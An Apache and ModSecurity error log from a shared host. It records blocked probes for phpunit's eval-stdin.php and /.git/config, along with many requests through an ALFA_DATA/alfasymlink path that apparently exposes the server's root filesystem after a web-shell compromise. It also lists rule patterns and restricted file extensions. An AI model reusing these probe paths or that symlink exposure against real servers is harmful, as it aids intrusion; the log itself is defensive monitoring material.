[Tue Oct 27 13:04:26.997772 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZmlkSJh9YctB3ycD0xQAAACw"]
[Tue Oct 27 13:04:27.552741 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZm1kSJh9YctB3ycD0xgAAACw"]
[Tue Oct 27 13:04:27.553252 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZm1kSJh9YctB3ycD0xgAAACw"]
[Tue Oct 27 13:04:27.553936 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZm1kSJh9YctB3ycD0xgAAACw"]
[Tue Oct 27 13:04:28.092423 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZnFkSJh9YctB3ycD0xwAAACw"]
[Tue Oct 27 13:04:28.092845 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auDZnFkSJh9YctB3ycD0xwAAACw"]
[Tue Oct 27 13:04:28.093706 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZnFkSJh9YctB3ycD0xwAAACw"]
[Tue Oct 27 13:04:28.673584 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZnFkSJh9YctB3ycD0yAAAACw"]
[Tue Oct 27 13:04:28.674021 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auDZnFkSJh9YctB3ycD0yAAAACw"]
[Tue Oct 27 13:04:28.674948 2026] [security2:error] [pid 3268402:tid 3268402] [client 165.99.207.153:45336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDZnFkSJh9YctB3ycD0yAAAACw"]
[Tue Oct 27 13:04:35.945091 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.194.139.149:40729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:04:47.889739 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 54.225.181.161:37691] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:04:51.885379 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 18.213.240.226:60574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/0000:00:05.0/driver/uevent
[Tue Oct 27 13:04:59.552942 2026] [security2:error] [pid 3268396:tid 3268396] [client 107.172.76.131:61209] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDZr-jT38MV1IcUTroM9wAAACY"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 13:04:59.553021 2026] [security2:error] [pid 3268396:tid 3268396] [client 107.172.76.131:61209] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDZr-jT38MV1IcUTroM9wAAACY"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 13:05:03.755368 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 52.73.6.26:43670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory23/subsystem/drivers_probe
[Tue Oct 27 13:05:11.909148 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 23.21.179.27:34131] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:14.670654 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.244.66.250:43832] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/fd/' is executable
[Tue Oct 27 13:05:14.670705 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.244.66.250:43832] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/map_files/' is executable
[Tue Oct 27 13:05:14.670740 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.244.66.250:43832] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1732/fdinfo/' is executable
[Tue Oct 27 13:05:15.740808 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 18.214.251.19:30390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:31.759883 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 54.235.125.129:34309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:35.940824 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 34.205.163.103:54427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:43.920171 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 52.204.253.129:2489] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:51.801005 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 54.198.33.233:28628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0e/subsystem/uevent
[Tue Oct 27 13:05:55.672765 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 18.214.138.148:19037] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:05:59.786905 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 3.226.34.98:59050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:07.783418 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 3.221.50.71:53919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:19.794008 2026] [ssl:error] [pid 3261792:tid 3261792] (5)Input/output error: [client 100.28.118.16:62917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:23.913668 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 3.213.46.222:13290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:31.081644 2026] [security2:error] [pid 3270272:tid 3270272] [client 172.86.119.188:49052] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDaF7Oqazz-p1KuDMqrbQAAAAU"], referer: http://direc3.sherwinpinturas.com/.git/config
[Tue Oct 27 13:06:31.081943 2026] [security2:error] [pid 3270272:tid 3270272] [client 172.86.119.188:49052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDaF7Oqazz-p1KuDMqrbQAAAAU"], referer: http://direc3.sherwinpinturas.com/.git/config
[Tue Oct 27 13:06:31.082272 2026] [security2:error] [pid 3270272:tid 3270272] [client 172.86.119.188:49052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDaF7Oqazz-p1KuDMqrbQAAAAU"], referer: http://direc3.sherwinpinturas.com/.git/config
[Tue Oct 27 13:06:31.693829 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 50.16.248.61:4244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:39.727816 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 54.152.163.42:64641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:06:50.622378 2026] [security2:error] [pid 3270132:tid 3270132] [client 216.244.66.250:41824] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "auDaKs12Z0h54eBnbA_nlAAAAAQ"]
[Tue Oct 27 13:06:50.622775 2026] [security2:error] [pid 3270132:tid 3270132] [client 216.244.66.250:41824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "auDaKs12Z0h54eBnbA_nlAAAAAQ"]
[Tue Oct 27 13:06:50.623072 2026] [security2:error] [pid 3270132:tid 3270132] [client 216.244.66.250:41824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "auDaKs12Z0h54eBnbA_nlAAAAAQ"]
[Tue Oct 27 13:06:51.572675 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 3.210.114.189:18718] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:15.708846 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.234.197.175:24236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:23.849152 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 52.44.174.136:12653] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:39.890291 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.225.138.57:9429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:43.783712 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 23.21.179.120:7638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:47.675764 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 52.200.142.199:46520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:51.783618 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 3.93.98.99:16488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:07:55.796909 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.225.243.131:56823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:08:04.254657 2026] [security2:error] [pid 3265882:tid 3265882] [client 43.162.95.192:34464] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "auDadJePFllL96zARGxAdwAAABo"]
[Tue Oct 27 13:08:08.071064 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 3.221.222.168:2326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4
[Tue Oct 27 13:08:27.739857 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 50.16.72.185:19329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:08:29.125218 2026] [core:error] [pid 3270272:tid 3270272] (13)Permission denied: [client 85.208.96.195:36630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/skipsmtpcheckhosts
[Tue Oct 27 13:08:55.772884 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 23.21.179.120:50548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:09:15.572706 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 185.191.171.13:17434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/hwcache_align
[Tue Oct 27 13:09:15.779374 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 184.73.239.35:51402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:09:23.841254 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 18.232.11.247:58537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:09:27.837405 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 3.213.85.234:61027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:09:43.663506 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 52.3.102.51:7835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:09:55.778164 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 100.29.63.24:13234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:11.749404 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 34.203.111.15:38707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:15.930908 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 23.21.119.232:6951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:1c/eject
[Tue Oct 27 13:10:19.697513 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 52.202.52.82:18875] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:23.845253 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 54.88.84.219:33283] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:27.780919 2026] [core:error] [pid 3265911:tid 3265911] (13)Permission denied: [client 54.204.62.163:65254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/25/module/uevent
[Tue Oct 27 13:10:31.833025 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 54.92.171.106:39098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:34.663465 2026] [autoindex:error] [pid 3271001:tid 3271001] (13)Permission denied: [client 85.208.96.193:12442] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/vfilters/
[Tue Oct 27 13:10:47.876834 2026] [core:error] [pid 3271001:tid 3271001] (13)Permission denied: [client 18.209.201.119:22060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/slots/12/module/uevent
[Tue Oct 27 13:10:51.905817 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 3.216.86.144:58992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/graphics/fb0/device/subsystem/drivers_probe
[Tue Oct 27 13:10:59.818724 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 54.84.93.8:5212] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:10:59.818944 2026] [security2:error] [pid 3269335:tid 3269335] [client 54.84.93.8:5212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/devices/memory3/state"] [unique_id "auDbIwbf3KFtuIsifZNJCgAAAAA"]
[Tue Oct 27 13:10:59.818967 2026] [security2:error] [pid 3269335:tid 3269335] [client 54.84.93.8:5212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/devices/memory3/state"] [unique_id "auDbIwbf3KFtuIsifZNJCgAAAAA"]
[Tue Oct 27 13:11:03.642007 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDbG812Z0h54eBnbA_nnwAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:11:03.642074 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDbG812Z0h54eBnbA_nnwAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:11:03.851313 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 44.209.187.99:30376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:15.746489 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 34.239.85.139:50213] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:16.191763 2026] [security2:error] [pid 3268402:tid 3268402] [client 185.191.171.5:37462] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/plantas1.sherwinpinturas.com/dns_cache.db"] [unique_id "auDbNFkSJh9YctB3ycD02AAAACw"]
[Tue Oct 27 13:11:16.192158 2026] [security2:error] [pid 3268402:tid 3268402] [client 185.191.171.5:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/plantas1.sherwinpinturas.com/dns_cache.db"] [unique_id "auDbNFkSJh9YctB3ycD02AAAACw"]
